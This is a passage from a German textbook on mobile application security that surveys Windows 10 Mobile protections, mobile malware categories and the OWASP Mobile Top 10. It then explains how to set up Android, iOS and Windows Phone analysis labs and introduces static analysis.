Windows-10-Mobile-Endgeräten ist eine TPM-gestützte Version von Bit-
Locker mit definierbaren Cipher Suites. Hinzu kommt eine Trennung der
Firmen- und Privatdaten, wie wir sie schon von iOS oder Android-for-Work
kennen: Whitelist für Applikationen, die auf Firmendaten oder das Firmen-
VPN zugreifen dürfen, Abkapselung der verschiedenen Bereiche (sodass ein
Nutzer keine Firmendaten manuell in den persönlichen Bereich kopieren
kann) und das automatische Taggen von Firmendaten bei der Verarbeitung.
Secure Boot: Windows 10 Mobile setzt hierbei auf eine Technik, wie wir sie bereits
bei iOS gesehen haben. Sobald ein Windows-10-Mobile-Endgerät startet,
prüft die UEFI-Firmware die digitale Signatur des Bootloaders, um sicherzustellen,
dass dieser nicht manipuliert wurde. Zusätzlich wird geprüft,
ob das Zertifikat, das für die digitale Signatur verantwortlich ist, von einer
vertrauenswürdigen Stelle ausgestellt wurde – in diesem Fall von Microsoft
selbst. Erst wenn diese Prüfungen erfolgreich absolviert wurden, wird der
Bootloader geladen und ausgeführt. Im nächsten Schritt prüft der Bootloader
die Integrität und Signatur des Windows-NT-Kernels und lädt ihn nur, falls
auch hier wieder alle Prüfungen bestanden werden. Als letzten Schritt folgen
nun die Prüfungen der restlichen Komponenten, die zum Starten von Windows
10 Mobile notwendig sind. Auch hier werden vor allem die digitalen
Signaturen und die Integrität der Komponenten geprüft.
Health Attestation Service (HAS): Device Health Attestation verwendet das TPM
(Trusted Platform Module) des mobilen Endgerätes zusammen mit Funktionen,
die in der Firmware integriert sind, um essenzielle und kritische Sicherheitsfunktionen
des BIOS und des Secure-Boot-Vorgangs zu überwachen.
2 Für eine ausführliche Betrachtung empfehle ich: https://technet.microsoft.com/en-us/
itpro/windows/keep-secure/windows-10-mobile-security-guide

24 1 Einführung in mobile Betriebssysteme und deren Applikationen
Laut Microsoft werden diese Messungen und Überwachungen so durchgeführt,
dass es für einen Angreifer oder eine Malware nahezu unmöglich ist,
den Prozess zu manipulieren. Die so ermittelten Daten werden dann an den
HAS gesendet und dort ausgewertet. Ist das überwachte Gerät Teil eines
MDM, so können hier die Ergebnisse vom HAS abgerufen und ausgewertet
werden. Manipulierte Endgeräte sind auf diese Weise schnell erkennbar
und können mit vorkonfigurierten Prozessen abgehandelt werden (z. B. mit
Remote Wipe, sobald HAS Hinweise auf eine Manipulation meldet).
1.4 Chancen und Risiken von mobilen Applikationen
Smartphones und Tablets sind aus dem Privatleben sowie aus dem Firmenalltag
nicht mehr wegzudenken. Dabei haben sie schon lange als reine Kommunikationsmedien
ausgesorgt und dienen heutzutage vielmehr als Ersatz für das Notebook
oder den alten Arbeitsplatzrechner. Genau hier liegen auch die Chancen für
mobile Apps: neue Einsatzszenarien für diese Art der Geräteklassen schaffen oder
bekannte Einsatzszenarien auf die mobile Welt portieren.
Betrachtet man, wie diese Geräte in den letzten Jahren eingesetzt werden, so
sieht man schnell, dass Zugriffe auf geschützte Netze – meist per VPN – und
das Bearbeiten und Erstellen von Office-Dokumenten (Word, Excel, aber auch
Präsentationen mit PowerPoint oder Keynote) keine Ausnahme mehr sind. Vor
allem die immer größer werdenden Displays der Smartphones zielen darauf ab,
auch unterwegs die Aufgaben erledigen zu können, für die man noch vor einigen
Jahren das Notebook hätte auspacken müssen.
Mobile Future ist nicht nur ein sogenanntes Buzzword, sondern ein Trend,
den immer mehr Firmen spüren und dem sie auch nachgehen möchten. Aus diesem
Grund werden immer mehr Arbeitsabläufe in Apps implementiert oder zumindest
integriert. Die Flut an vorhandenen Apps steigt dadurch täglich weiter
an, was dazu führt, dass man wirklich für jeden Einsatzzweck eine passende App
findet. Aber halten diese Apps auch immer, was sie versprechen? Gerade im Firmenumfeld
oder wenn es um sensible private Daten geht, spielt die Sicherheit eine
wichtige Rolle. Im Folgenden wird kurz aufgezeigt, welche Gefahren und Bedrohungen
es in der Welt der Apps gibt, bevor in den späteren Kapiteln demonstriert
wird, wie man herausfindet, ob die ausgewählte App auch wirklich das hält, was
sie verspricht.
1.4.1 Bedrohungsszenarien durch schadhafte Applikationen
Durch die gesteigerte Nutzung von Smartphones sowie das geänderte Verteilungsmodell
von Applikationen, konnten Kriminelle Smartphones als potenzielles
Ziel für Malware identifizieren, um private Informationen zu stehlen und das

1.4 Chancen und Risiken von mobilen Applikationen 25
Smartphone für Premium-SMS-Services zu missbrauchen oder benötigte Bank-
Informationen (mTAN) zu manipulieren. In diesem Abschnitt gebe ich einen
kurzen Überblick über aktuelle mobile Bedrohungen und beschreibe, warum die
Android-Plattform die am meisten betroffene ist.
Mobile Bedrohungen können in zwei Klassen kategorisiert werden: webbasiert
und applikationsbasiert. Die webbasierten Bedrohungen auf Mobiltelefonen
sind ein wachsender Angriffsvektor von Kriminellen. Diese Bedrohungen
verlassen sich auf eine starke Nutzung von mobilen Browsern und deren Featurereichen
Implementationen. Moderne Webbrowser unterstützen Funktionen wie
embedded Video Players oder Video-Anrufe. Aufgrund der Beschaffenheit dieser
Funktionen, z. B. Parsen von großen Mengen externer Daten, ist die Wahrscheinlichkeit
groß, dass ausnutzbare Schwachstellen vorhanden sind. Darüber hinaus
sind Angreifer in der Lage, Nutzer dazu zu bringen, einem Web-Link zu folgen,
den sie via E-Mail oder Social Media erhalten haben, und dadurch das Smartphone
zu infizieren, indem sie eine Browserschwachstelle ausnutzen.
Der zweite Typ von mobilen Bedrohungen sind applikationsbasierte Bedrohungen
durch Drittanbieter-Applikationen in den mobilen Märkten. Um Applikationen
auf den Smartphones zu installieren, haben Hardwarehersteller (wie Lenovo,
Samsung etc.) sogenannte Mobile Markets wie z. B. Apples »App Store«
and Googles »Google Play« entwickelt. Auf iOS-basierten Geräten kann Software
nur vom App Store bezogen werden. Darüber hinaus bewertet Apple jede
Software, die in den App Store geladen wird, und lässt nur Apps zu, die bestimmte
(nicht näher spezifizierte) Sicherheitschecks bestehen. Auf Android-Geräten ist
der Nutzer in der Lage, Applikationen von Drittanbieter-Märkten zu installieren.
Besonders in Asien sind viele dieser Märkte entstanden. Typischerweise besteht
bei Nutzung dieser Märkte ein großes Risiko, dass man sich bei der Installation
von Applikationen schadhafte Applikationen einfängt, da die Marktbesitzer die
angebotenen Applikationen nicht entsprechend prüfen.
Betrachtet man die schadhaften Applikationen aus solchen Märkten genauer,
so kann man sie – nach Felt et al. [6] – in die folgenden drei Bedrohungstypen
eingruppieren:
Malware: Angreifer wollen durch die Installation von Malware Zugang zum Gerät
erhalten. Das Ziel: Daten stehlen, Aktionen fernsteuern oder das Gerät
beschädigen. Malware wird installiert, indem man den Nutzer dazu bringt,
eine vertrauenswürdig aussehende Applikation zu installieren, oder es wird –
wie in sehr vielen Fällen – eine Schwachstelle im Gerät ausgenutzt, z. B. eine
Sicherheitslücke im Webbrowser.
Spyware: Das Ziel von Spyware ist es, Informationen über das Opfer zu sammeln
und diese dann an die Person, die die Spyware installiert hat, zu senden. Felt
et al. behaupten, dass Spyware auf dem Gerät des Opfers installiert wird,
indem der Angreifer physischen Zugriff auf das Smartphone hat. Betrachtet
man jedoch Beispiele aus den letzten beiden Jahren, so sieht man, dass diese

26 1 Einführung in mobile Betriebssysteme und deren Applikationen
Voraussetzung nicht mehr erfüllt sein muss und sich solche Tools auch über
das Ausnutzen bekannter Lücken oder Social-Engineering-Techniken auf das
Zielgerät aufbringen lassen können.
Grayware: Nutzer, die die Software selbst installiert haben, da sie dachten, sie
wäre in Ordnung, sollen hiermit ausspioniert oder zu unseriösen Angeboten
verleitet werden. Teilweise funktioniert die Software wie gedacht, da die Entwickler
reale Funktionen wie versprochen eingefügt haben. Trotzdem sammeln
sie Informationen über das System, wie z. B. das Adressbuch des Nutzers
oder seine Browser-Historie. Das Hauptziel ist es, Daten für Marketingzwecke
etc. zu sammeln oder zusätzliche Werbeeinblendungen vorzunehmen.
Man bezeichnet diese Applikationen auch oft als Pontentially Unwanted Applications
(PUA) oder Adware.
Die Verteilung dieser Bedrohungstypen auf schadhafte Applikationen, die in freier
Wildbahn gefunden wurden, ist in Abbildung 1–7 zu sehen. Dabei ist zu beachten,
dass die meisten schadhaften Applikationen mehr als eine dieser abgebildeten
Eigenschaften vereint. Das beliebteste Ziel für Angreifer und Malware-Autoren
ist immer noch der Diebstahl von sensiblen Daten wie z. B. Telefonbucheinträge
oder Nutzernamen für Online-Plattformen. Direkt danach sehen wir die schadhaften
Applikationen, die Eigenschaften eines Botnetzes beinhalten, dazu zählen
z. B. Verbindung zu einem C&C-Server, um Befehle in Empfang zu nehmen oder
Daten dorthin abfließen zu lassen. Neu dazugekommen sind in 2013 die kommerziellen
Malware-Applikationen, die zum Ausspähen von Privatpersonen oder
Firmen verwendet werden. Ebenso stark zugenommen hat in den vergangenen
zwei Jahren die Art der schadhaften Applikationen, die auf das Abfangen und die
Manipulation von mTAN-Nachrichten aus sind. In 2015 kam eine neue Bedro-
100
80
60
2011
2012
2013
2014
2015
40
20
0
Versand von Premium SMS
Nutzer-Ortung
Diebstahl sensibler Daten
Botnetze
Root-Exploits
Adware und PUA
Kommerzielle Malware
Online-Banking-Trojaner
Cryptolocker
Abb. 1–7: Android-Malware-Verteilung in freier Wildbahn in den vergangenen Jahren

1.5 OWASP Mobile Top 10 27
hung hinzu, die Cryptolocker bzw. allgemeiner gesagt die Ransomware. Diese
Malware verschlüsselt das Endgerät oder die Nutzerdaten mit einem Passwort,
das der Nutzer nicht kennt. Im Nachgang wird eine Meldung angezeigt, dass
der Nutzer einen gewissen Betrag zahlen muss, um das Passwort für seine Daten
zu erhalten. Der eigentliche Unterschied zwischen Ransomware und den Cryptolockern
liegt hierbei im Detail: Bei gängiger Ransomware werden die Daten des
Nutzers nicht verschlüsselt, sondern lediglich das Gerät gesperrt und eine Erpressungsmeldung
angezeigt. Diese Masche ist aus der PC-Welt seit einigen Jahren
bekannt und gefürchtet und nun auch im Android-Umfeld im Aufschwung. In
Abbildung 1–7 haben wir diese beiden Arten von Schadcode unter dem Begriff
der Cryptolocker zusammengefasst, da in den vergangenen Monaten fast keine
Ransomware mehr erschienen ist, die nicht im Hintergrund die Daten des Nutzers
verschlüsselt hat.
1.5 OWASP Mobile Top 10
Die Non-Profit-Organisation OWASP (Open Web Application Security Project)
hat in den vergangenen Jahren immer wieder mobile Applikationen betrachtet
und dabei ein starkes Augenmerk auf die Sicherheit dieser Applikationen gelegt.
Eines der Ergebnisse hierbei war die Mobile-Top-103 -Liste, die die zehn kritischsten
Gefahren für mobile Applikationen beschreibt. Die Fassung aus dem Jahr
2015 zeigt Abbildung 1–8.
Abb. 1–8: Die Mobile Top 10 von OWASP
3 Mobile Top 10: https://www.owasp.org/index.php/Projects/OWASP_Mobile_
Security_Project_-_Top_Ten_Mobile_Risks

28 1 Einführung in mobile Betriebssysteme und deren Applikationen
Im Folgenden werden diese Gefahren kurz erläutert und es wird darauf eingegangen,
wie deren Einfluss auf die Sicherheit der Applikationen einzuschätzen ist.
Bei all diesen Punkten darf man jedoch nie vergessen, dass es hier um ein
stetiges Katz-und-Maus-Spiel geht und man als Entwickler wie auch als Angreifer
immer auf dem aktuellsten Stand sein muss. Sehr oft gibt es neue Werkzeuge,
die das Umgehen von eingebauten Sicherheitsmaßnahmen ermöglichen, die noch
bis vor Kurzem als sicher galten. Auch tauchen immer wieder Schwachstellen in
Bibliotheken auf, die einen neuen Angriff ermöglichen und so die Applikation
und deren Daten gefährden, obwohl der Entwickler bei der Programmierung und
dem Design der Applikation alles richtig gemacht hatte. Hier helfen auf beiden
Seiten nur schnelle Updates und Anpassungen an die Umwelt.
1.5.1 M1: Weak Server Side Controls
Hierbei handelt es sich im Wesentlichen um Probleme, die mit dem Backend
der mobilen Applikation zu tun haben. Also Dinge wie Authentifiziert sich der
Nutzer bzw. die Applikation korrekt?, Wie ist das Session-Handling implementiert?
oder Macht das Backend eine Überprüfung der Übergabewerte, die es von
der Applikation erhält?. Diese Schwachstellen sind sehr einfach auszunutzen und
ziehen oft gravierenden Schaden nach sich. Die Fehler dieser Kategorie lassen
sich aber zumeist nicht in der Applikation beseitigen, sondern im Backend selbst,
weshalb hier eine gute Zusammenarbeit von App-Entwickler und Webservice-
Betreiber/-Entwickler nötig ist. Im weiteren Verlauf des Buches werden wir auf
diese Schwachstellen ein nur geringes Augenmerk legen.
1.5.2 M2: Insecure Data Storage
Bei dieser Schwachstelle geht es um die Art und Weise, wie eine Applikation ihre
verarbeiteten Daten sowie ihre Konfigurationsdaten ablegt. Zu diesen Daten
zählen z. B. SQLite-Datenbanken, plist-Dateien, aber auch Logdateien. Viele Entwickler
mobiler Applikationen verlassen sich hierbei komplett auf die Tatsache,
dass die Applikationen auf den Endgeräten in abgeschotteten Umgebungen ausgeführt
werden und daher ein Zugriff auf ihre Daten nicht möglich sein sollte.
Dies ändert sich aber in dem Moment, wo ein solches Endgerät manipuliert oder
gar infiziert ist. Ebenso wird hierbei oft vergessen, dass es Bereiche gibt, die von
dieser Trennung nicht betroffen sind, wie z. B. die SD-Karte bei einem Android-
Endgerät. Auf Schwachstellen dieses Typs und die damit verbundene Ausnutzbarkeit
wird in den Abschnitten 4.7, 6.4 sowie 8.2 eingegangen.

1.5 OWASP Mobile Top 10 29
1.5.3 M3: Insufficient Transport Layer Protection
Beim Design von mobilen Applikationen spielt die Datenübertragung zum Backend
eine wichtige Rolle und ist in fast jeder Applikation vorhanden. Bei der Übertragung
müssen die Daten durch mehrere Netze transportiert werden, bis sie das
eigentliche Ziel erreichen. Zu diesen Netzen zählt das Netz des Telekommunikationsanbieters
sowie das Internet. Auf diesem Weg gibt es eine Vielzahl von Gefahren
und Unbekannten (wie z. B. manipulierte Wi-Fi-Router oder GSM-Zellen,
Proxies oder Malware auf dem Endgerät). Um trotz dieser Gefahren eine sichere
Datenübertragung zu gewährleisten, verwenden die meisten Applikationen SSL/
TLS um die Übertragung zu verschlüsseln. Dabei können jedoch eine Menge Fehler
passieren, die in Kapitel 9 aufgezeigt und ausgenutzt werden.
1.5.4 M4: Unintended Data Leakage
Der ungewollte Datenabfluss geschieht immer dann, wenn ein Entwickler auf
Funktionen des darunterliegenden Betriebssystems zurückgreift, die unbeabsichtigte
oder nicht beachtete Seiteneffekte besitzen. Dazu gehört z. B. das Cashing
von URLs oder die Zwischenablage. Kennt ein Angreifer diese Eigenschaften,
so kann er durch den Einsatz forensischer Werkzeuge oder durch Malware mit
speziellen Eigenschaften diese Seiteneffekte ausnutzen. Diese Schwachstelle bzw.
Designfehler werden wir im Verlauf des Buches immer wieder finden.
1.5.5 M5: Poor Authorization and Authentication
Hierbei geht es im Wesentlichen um schwache oder nicht ausreichende Nutzerauthentifizierung
oder Überprüfung der Rechte des authentifizierten Nutzers. Häufige
Fehler hierbei sind die Verwendung von leicht fälschbaren Werten, wie z. B.
der IMEI oder der GPS-Daten. Ebenso sieht man öfters, dass zwar die Applikation
eine PIN besitzt, um den Nutzer zu authentifizieren, diese aber nicht zur
Verschlüsselung der Anfragen oder Datenhaltung verwendet wird. Hierdurch ist
es einem Angreifer möglich, die Daten der Applikation auszulesen oder sich durch
gültige Requests an das Backend als der eigentliche Nutzer auszugeben. Beispiele
für solche Designfehler werden u. a. in Abschnitt 4.7.3 demonstriert und sind
leider sehr häufig aufzufinden bei mobilen Applikationen.
1.5.6 M6: Broken Cryptography
Viele Entwickler von Applikationen wissen inzwischen, welche Algorithmen als
sicher gelten und setzen diese auch bei der Verschlüsselung ihrer Daten und Verbindungen
ein. Problematisch sind jedoch immer wieder die verwendeten Schlüssel
– das eigentliche Geheimnis. Hier sieht man häufig, dass nicht ein echtes Geheimnis,
wie eine PIN des Nutzers, verwendet wird, sondern sogenannte hardcoded
Credentials. Beim Reversing einer Applikation können diese Schlüssel sehr

30 1 Einführung in mobile Betriebssysteme und deren Applikationen
einfach ausgelesen werden und die Verschlüsselung damit rückgängig gemacht
werden. Dies ist eines der größten Probleme, da Entwickler immer zwischen Benutzbarkeit
und Sicherheit abwägen müssen und PINs sowie Passwörter bei Nutzern
sehr unbeliebt sind. Ohne diese ist jedoch eine gute Verschlüsselung nur sehr
schwer umsetzbar.
1.5.7 M7: Client Side Injection
Dies ist einer der Klassiker aus dem Bereich des Pentestings. Der Angreifer versucht
hierbei, Code oder Daten an die Applikation weiterzugeben, mit der sie
nicht umgehen kann, und erhofft hierdurch Fehlverhalten auszulösen, das die
Rechte erweitert oder sensible Daten freigibt. Dies geschieht meist durch fehlende
Eingabevalidierung (engl. Input Validation) oder durch Verwendung anfälliger
Bibliotheken. Beispiele für solche Schwachstellen, die sehr ernst zu nehmende Angriffsvektoren
sind, zeigt u. a. Abschnitt 4.4.
1.5.8 M8: Security Decisions Via Untrusted Inputs
Hierbei handelt es sich um Designschwachstellen, die man aus dem Bereich der
Webapplikationen sehr gut kennt. Die Applikation übergibt versteckte Parameter
an das Backend oder eine andere Applikation auf dem Endgerät, die sensitive
Informationen beinhalten. Hierzu kann z. B. die Rolle des Nutzers (User oder Admin)
zählen. Ein Angreifer oder eine Malware kann diese Kommunikation (meist
IPC- oder webbasiert) abfangen und manipulieren. Hierdurch ist es möglich, die
Rechte des Nutzers auszuweiten oder andere als gewünschte Daten zurückzugeben.
Auf IPC-Ebene sehen wir diese Schwachstellen nur sehr selten, nichtsdestotrotz
sollte man sie aber dennoch beachten, da sie gerade bei der Kommunikation
mit dem Backend wichtig sind.
1.5.9 M9: Improper Session Handling
Damit eine Applikation mit dem Backend im Namen eines Nutzers kommunizieren
kann, wird meist nach erfolgreicher Authentifizierung ein Token generiert,
das eindeutig zuordenbar ist. Häufige Probleme hierbei sind, dass diese Token
mit einer zu geringen Entropie generiert werden, dadurch also vorhersehbar sind,
oder eine viel zu lange Gültigkeit haben. Ebenso sieht man häufig, dass diese Token
auch noch nach einem Log-out des Nutzers gültig sind und nicht ordnungsgemäß
entwertet werden. Des Weiteren kommt es häufig vor, dass diese Token
unzureichend auf dem Endgerät selbst geschützt werden und so ein Angreifer lediglich
das Token stehlen muss, um sich als ein anderer Nutzer gegenüber dem
Backend auszugeben. Diese Schwachstelle ist ebenfalls sehr bekannt aus dem Bereich
der Webapplikationen und sollte immer überprüft werden.

1.6 Eine Laborumgebung erstellen 31
1.5.10 M10: Lack of Binary Protections
Hier geht es ganz wesentlich um den Schutz der eigenen Applikation vor Angriffen,
wie wir sie in den kommenden Kapiteln durchführen werden. Als Entwickler
einer Applikation sollte man sich immer überlegen, ob es sinnvoll ist, seine Applikation
vor Reversing zu schützen. So kann man Methoden einfügen, die die
Integrität des Endgerätes prüfen, oder bekannte Werkzeuge zum Reversing so
manipulieren, dass diese nicht mehr funktionieren. Auch Code-Verschleierung ist
ein gerne verwendetes Mittel, um es einem Analysten oder Angreifer besonders
schwer zu machen, die Applikation zu verstehen. Viele der im Folgenden gezeigten
Angriffe funktionieren nur, da der Entwickler sich um diesen Punkt keine –
oder nicht ausreichende – Gedanken gemacht hat.
1.6 Eine Laborumgebung erstellen
Möchte man Applikationen für mobile Endgeräte erstellen oder auch analysieren,
so ist es wichtig, dass man die passende Labor- bzw. Arbeitsumgebung bei
sich eingerichtet hat. In den folgenden Abschnitten wird gezeigt, wie Sie die entsprechenden
Umgebungen für die Arbeit mit den verschiedenen mobilen Betriebssystemen
einrichten können. Diese Beschreibungen dienen dabei als grobe Blaupause,
sollen aber keinesfalls den Eindruck erwecken, als wären dies die einzigen
Möglichkeiten, wie eine optimale Laborumgebung auszusehen hat.
Für alle Laborumgebungen gilt jedoch, dass man sich grob an das in Abbildung
1–9 gezeigte Netzwerklayout halten sollte. Dieses ist besonders dann
wichtig, wenn es auch darum geht, zu überprüfen, wie eine Applikation mit dem
Internet und möglichen Backend-Servern kommuniziert und welche Daten dort
versendet werden (Kapitel 9 bietet die entsprechenden Details und Angriffe zu
diesem Bereich der Analyse). Dabei müssen nicht alle Komponenten physisch separiert
vorhanden sein (wie auf der Abbildung angedeutet), sondern können auch
mittels Software implementiert oder auf einem Gerät kombiniert eingesetzt werden.
Ein Minimal-Setup wäre z. B. ein Wi-Fi-fähiger Analyserechner, der mittels
Software einen Proxy implementiert und das Smartphone mit der zu analysierenden
Applikation per USB verbunden hat.
1.6.1 Laborumgebung für Android-Analysen
In diesem Abschnitt wird kurz auf die wichtigsten Pakete und Einstellungen eingegangen,
die auf einem klassischen Analyserechner vorhanden sein sollten, wenn
es um die Analyse von Android und dessen Applikationen geht. Schauen wir uns
zunächst die Grundpakete an, die das verwendete Linux OS in die Lage versetzen,
die in den Kapiteln 3 und 4 gezeigten Tools ausführen zu können. Im Anschluss
werde ich noch kurz zeigen, wie man einen Emulator einrichtet, da dies im Verlauf
des Buches an einigen Stellen hilfreich ist.

32 1 Einführung in mobile Betriebssysteme und deren Applikationen
Abb. 1–9: Schematisches Netzwerklayout der Laborumgebung
Einrichten der Bibliotheken und das OS
Da viele der später verwendeten Tools für Linux oder UNIX-ähnliche Systeme
entwickelt wurden, empfehle ich, auch ein solches OS für die Analyseumgebung
zu wählen. Für Einsteiger in die Linux-Welt eignet sich eine aktuelle LTS-Version
(Long Term Support) von Ubuntu. Zum aktuellen Zeitpunkt ist die neueste Version
16.04, die voraussichtlich bis April 2021 mit Updates unterstützt wird. Der
Download hierfür findet sich unter http://www.ubuntu.com/download/desktop.
Alternativ kann aber auch hier ein Mac-OS-X-System zur Anwendung kommen.
Um Android-Applikationen zu erstellen, einem Reversing zu unterziehen oder
auch um einen Emulator zu konfigurieren, ist es essenziell, eine Entwicklungsumgebung
auf dem frisch installierten Linux OS einzurichten. Die Basis hierbei bietet
das Java Development Kit (JDK), das die passende Java Runtime Umgebung
(JRE) beinhaltet. Hierzu befolgen Sie einfach die folgenden Schritte:
1. Download der JDK-7-Umgebung unter http://www.oracle.com/technetwork/
java/javase/downloads/index.html oder per Paketmanager
2. Sollten Sie die Installation manuell durchgeführt haben und nicht per Paketmanager,
so müssen die Pfade noch angepasst werden, damit die Tools später
auch die nötigen Bibliotheken finden können. Dies geschieht mit folgenden
Befehlen:

1.6 Eine Laborumgebung erstellen 33
$: vi ~/.bashrec
$: export Java_HOME='/usr/libexec/java_home -v 1.7'
Codebeispiel 1–4: Anpassung des Java_HOME-Pfades
3. Da wir nun alle wichtigen Bibliotheken und Laufzeitumgebungen installiert
haben, kommen wir zum Herzen der Android-Umgebung, dem Android Development
Tools (ADT). Dies kann unter http://developer.android.com/sdk/
index.html heruntergeladen werden.
4. Nach dem erfolgreichen Download muss das Paket entpackt werden und die
Pfade zu den neu erstellten Verzeichnissen tools und platform-tools, wie bereits
bei den Java-Umgebungen der Pfadvariablen, hinzugefügt werden.
Abb. 1–10: Übersicht der Android-SDK-Komponenten und -Updates
5. Im Anschluss daran sollten noch mithilfe des android-Befehls die neuesten
Updates und fehlende Android-Bibliotheken nachgeladen werden (siehe dazu
auch Abbildung 1–10).
6. Nachdem wir nun alle wichtigen Komponenten installiert und eingerichtet
haben, können wir das erste Testsystem starten. Mehr dazu im folgenden
Abschnitt.
Wer diese Schritte nicht alle selbst durchgehen möchte oder sich lieber auf eine
für diesen Zweck spezialisierte Umgebung verlassen möchte, kann auch auf
angepasste Betriebssysteme wie z. B. Santoku Linux4 zurückgreifen.
4 Santoku Linux: https://santoku-linux.com/

34 1 Einführung in mobile Betriebssysteme und deren Applikationen
Erstellung eines Android-Emulators
Für viele der Aufgaben, die im Laufe der Kapitel erläutert werden, aber auch für
die tägliche Arbeit mit Android-Malware ist es wichtig, dass man verschiedene
Testsysteme zur Hand hat. Das wird aber schnell teuer, wenn man jedes System
und jede Android-Version in echter Hardware zur Verfügung haben möchte.
Hier kann der Android-Emulator dazu beitragen, eine hohe Abdeckung an realitätsnahen
Systemen zur Verfügung zu haben, ohne zu tief in die Tasche greifen
zu müssen.
Im Folgenden wird kurz gezeigt, wie man einen Android-Emulator einrichtet:
1. Beginnen werden wir wieder mit dem Aufruf der Android-ADT-Umgebung
mithilfe des Befehls android.
2. Im darauffolgenden Fenster klicken wir auf Tools, dort auf Manage AVDs. . .
und dann auf create.
3. Das nun erscheinende Fenster füllen wir, wie in Abbildung 1–11 gezeigt, aus.
Wichtig hierbei ist, dass der AVD Name keine Leerzeichen oder Sonderzeichen
enthält, da dieser später per Kommandozeile aufgerufen werden muss.
4. Nach einem Klick auf OK ist der Emulator fertig erstellt und es wird nochmals
eine Zusammenfassung des erzeugten Emulators angezeigt.
Abb. 1–11: Fenster zur Konfiguration eines Android-Emulators

1.6 Eine Laborumgebung erstellen 35
5. Den so erstellten Emulator können wir nun mit folgendem Befehl starten
(beim ersten Start des Emulators kann es mehrere Minuten – bis zu 10 –
dauern, bis der Emulator einsatzbereit ist): emulator -avd TestAVD.
1.6.2 Laborumgebung für iOS-Analysen
In diesem Abschnitt wird kurz auf die wichtigsten Pakete und Einstellungen eingegangen,
die auf einem klassischen Analyserechner vorhanden sein sollten, wenn
es um die Analyse von iOS und dessen Applikationen geht.
Für die Analyse von iOS-Applikationen eignet sich am besten ein Rechner mit
Mac OS X. Auf diesem Rechner benötigen wir dann eigentlich nur noch Xcode –
inklusive der zugehörigen Kommandozeilentools – und Brew.
Sobald wir die aktuellste Version von Xcode aus dem Mac App Store installiert
haben, müssen wir noch die Kommandozeilentools nachinstallieren. Dies
können wir durch Eingabe des Befehls xcode-select -install starten. Es sollte
nun ein neues Fenster erscheinen, das uns durch die Installation der Kommandozeilentools
führt.
Als zweites wichtiges Werkzeug benötigen wir noch Brew5 . Dies ist ein alternativer
Paketmanager unter Mac OS X, der es uns erlaubt, Pakete für die Kommandozeile
zu installieren. Die Installation von Brew führen wir wie folgt durch
(siehe Codebeispiel 1–5):
# Download und Installation von Brew:
$: ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/
master/install)"
# Laden der aktuellsten Paketquellen und Versionshinweise:
$: brew update
# Updaten aller bereits installierten Pakete:
$: brew upgrade
Codebeispiel 1–5: Installation von Brew
Die Installation und Konfiguration aller weiteren Pakete und Tools – die in den
Kapiteln 5 und 6 verwendet werden – wird jeweils bei der ersten Verwendung
beschrieben.
5 Brew: http://brew.sh/

36 1 Einführung in mobile Betriebssysteme und deren Applikationen
Abb. 1–12: Windows Phone Internals 1.2
1.6.3 Laborumgebung für Windows Phone-Analysen
Zur Analyse von Windows-10-Mobile-Endgeräten und deren Applikationen benötigen
wir einen Rechner mit Windows 10 (Windows 7 verursacht hin und wieder
Probleme). Die meisten wichtigen Komponenten – wie z. B. Treiber – werden
vom System automatisch installiert, sobald wir unser Analysetelefon anschließen,
daher brauchen wir uns hierum nicht separat zu kümmern.
Als weitere Werkzeuge benötigen wir noch die Windows Phone Internals6
und das Windows 10 SDK7 . Diese Tools erlauben es uns, bestimmte Endgeräte
zu rooten, um tieferen Zugriff auf das Gerät und die darauf installierten Applikationen
zu bekommen (siehe Abbildung 1–12), und installieren alle nötigen
Bibliotheken, die diese und andere später gezeigte Werkzeuge verwenden.
Sollten die Windows Phone Internals nicht zum Erfolg führen, gibt es eine
sehr gute und ständig aktualisierte Anleitung zum Rooten der Windows-10-
Mobile-Endgeräte im xda-developers-Forum8 .
6 Windows Phone Internals: http://www.wpinternals.net/index.php/downloads
7 Windows 10 SDK: https://developer.microsoft.com/de-de/windows/downloads/
windows-10-sdk
8 xda-developers: http://forum.xda-developers.com/windows-10/windows-10-mobile/
guide-filesystem-access-sftp-windows-10-t3185766

1.7 Zusammenfassung und Ausblick 37
1.7 Zusammenfassung und Ausblick
In diesem Kapitel ging es im Wesentlichen um zwei Themen: die Einführung in
die verschiedenen Systeme und den Aufbau ihrer Applikationen sowie der nötigen
Laborumgebungen, um sie zu analysieren (Abschnitte 1.1 bis 1.3 sowie
Abschnitt 1.6), aber auch um das Aufzeigen der generellen Probleme, die in einer
solchen Applikation verborgen sein können (siehe dazu die Abschnitte 1.4
und 1.5).
Im folgenden Kapitel 2 möchte ich noch kurz allgemein auf die Chancen und
Risiken des Reversings eingehen, bevor wir dann gemeinsam an das eigentliche
Analysieren der einzelnen Systeme in den Kapiteln 3 bis 8 gehen. Zum Abschluss
greifen wir in Kapitel 9 noch die verschlüsselte Verbindung zwischen Applikation
und deren Backend an und versuchen, an den Klartextinhalt zu gelangen.
Auf die in diesem Buch gezeigte Weise können wir sehr gut ermitteln, wie
sicher eine Applikation ist und wie sorgsam sie mit unseren kritischen Daten
wirklich umgeht.

39
2 Chancen und Risiken des Reversings
In diesem kurzen Kapitel möchte ich einen Überblick über Analysemethoden
geben und aufzeigen, wo ihre Stärken und Schwächen liegen. Dies ist für das
allgemeine Verständnis der Thematik wichtig und hilft auch einzuschätzen, wie
aufwendig gewisse Analysemethoden oder Angriffe sind. Dazu greife ich auf die
Klassifizierung nach Bergeron et al. [2] zurück, nach der sich diese Analysemethoden
im Wesentlichen in zwei Arten unterteilen lassen: statische und dynamische
Analyse.
2.1 Statische Analyse (Reversing)
Der klassische Ansatz sowohl zur automatisierten wie auch zur manuellen Analyse
ist die statische Analyse, auch Reversing genannt. Die statische Analyse betrachtet
Softwareeigenschaften, die durch Überprüfen der heruntergeladenen Anwendung
und ihres Quellcodes herausgefunden werden können. Bei diesem Vorgehen
dekompilieren und zerlegen Analysetools oft Anwendungspakete und suchen
im gesamten Quellcode nach bestimmten Mustern wie z. B. Berechtigungen,
Funktionsaufrufe und hart codierte Variablen. All diese Verfahren haben gemeinsam,
dass die verdächtige Anwendung nicht ausgeführt wird.
Nach Moser et al. [11] liegt der große Vorteil der statischen Analyse darin,
dass sie relativ einfach und schnell durchzuführen ist, wenn sie automatisiert
erfolgt, z. B. im Rahmen von Muster- oder Signaturerkennung. Sie wird jedoch
schnell aufwendig, wenn man diese Techniken manuell anwendet. Einer der
Nachteile bei der automatisierten Anwendung ist, dass alle Muster im Voraus
bekannt sein müssen. Dies macht es schwer, neue Malware oder polymorphen
